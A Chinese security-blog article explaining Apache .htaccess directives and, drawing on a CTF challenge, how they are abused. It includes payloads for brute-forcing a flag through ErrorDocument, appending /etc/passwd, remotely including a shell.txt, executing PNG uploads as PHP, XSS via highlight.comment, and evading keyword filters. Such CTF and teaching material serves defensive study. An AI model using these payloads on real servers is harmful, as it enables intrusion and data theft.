标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3074] 作者: 羽毛 发表于: [2022-04-13]
本文共 [363] 位读者顶过
.htaccess是什么?.htaccess是一个配置文件,用来运行Apache Web Server的Web服务器。当 .htaccess 文件被放置在一个目录中时,该目录又“通过 Apache Web 服务器加载”,然后 .htaccess 文件被 Apache Web 服务器软件检测并执行。 .htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All。
常用方式自定义出错误页面向网站访问者显示友好的错误信息,不定义htaccess会显示404 File Not Found,定义htaccess可以显示自定义文件。 先自定义错误的回显文件。 ErrorDocument 404 /error_pages/404.html 告诉Apache服务器在发生404的时候显示/error_pages/404html。
津门杯的UploadHub就出了这个考点的题目。[出自:jiwo.org] 附件给出Apache配置 <Directory ~ "/var/www/html/upload/[a-f0-9]{32}/"> php_flag engine off </Directory> 通过传hataccess,wp如下。 <If "file('/flag')=~ /'''flag{xxxx'''/"> ErrorDocument 404 "test" </If> 通过不断变换字符,写脚本爆破。 访问控制限制用户访问目录或文件。 指定限制文件 <Files 1.php> order allow,deny deny from all </Files> 限制用户对文件1.php访问,访问1.php,会出现403。 使用通配符指定文件 <Files *.php> ... </Files> 重定向
重定向能将访问者从网站的文档引导到另一个文档。 Redirect /hacker/ http://www.yourdomain.com/hackers/index.html 将访问hacker的目录,引导到hackers的index.html。 SetHandlerSetHandler指令可以强制所有匹配的文件被一个指定的处理器处理。 SetHandler application/x-httpd-php 当前目录以及子目录所有文件将会被当作php解析。 AddHandlerAddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。 AddHandler cgi-script .xxx 扩展名为 .xxx 的文件作为 CGI 脚本来处理。 AddTypeAddType 指令可以将给定的文件扩展名映射到指定的内容类型。 AddType application/x-httpd-php .png 会将png为后缀的文件当作php文件解析。 php_value.htaccess 文件允许你能够控制某个用户从你的站点(通过 PHP)单次上传数据量的大小。 php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容 php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容 php_flagphp_flag 用来设定布尔值的php 配置指令。可以将engine 设置为0,在本目录和子目录中关闭php 解析,造成源码泄露。 php_flag engine 0 #.htaccess文件利用。 利用404页面<If "file('/flag')=~ /'''flag{xxxx'''/"> ErrorDocument 404 "test" </If> 通过不断变换字符,刷新到flag{。 文件包含本地文件包含当前目录php文件头引入/etc/passwd。 php_value auto_append_file /etc/passwd
使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置 php_value include_path "xxx" 远程文件包含PHP 的 all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。 php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt 伪协议打开all_url_fopen、all_url_include为on 1.php_value auto_append_file data://text/plain;base64,bDNpZmUK 2.php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt" 图片马解析目标开启.htaccess并且上传黑名单没有限制.htaccess文件,先上传.hataccess文件,对目标环境的目录进行相关配置,在上传图片,使图片的 PHP 恶意代码得以被直接解析执行。 SetHandler指令 <FilesMatch "1.png"> SetHandler application/x-httpd-php </FilesMatch> 将1.png当作php执行 AddType指定 AddType application/x-httpd-php .png 将.png当作php文件解析 XSS攻击通过.hataccess文件设定highlight.comment,指定高亮内容,进行XSS。 设置的.hataccess文件。 php_value highlight.comment '"><script>alert(/xss/);</script>' Bypass绕过关键字过滤使用反斜杠\加换行实现。题目过滤type、php等敏感字符。 AddTy\ pe application/x-httpd--ph\ p 1.png # 即: AddType application/x-httpd-php 1.png 绕过脏字符
使用#\绕过.hataccess。由于脏字符不属于.hataccess文件的语法或指定,使文件不生效,使用#对脏字符进行注释。 参考链接 |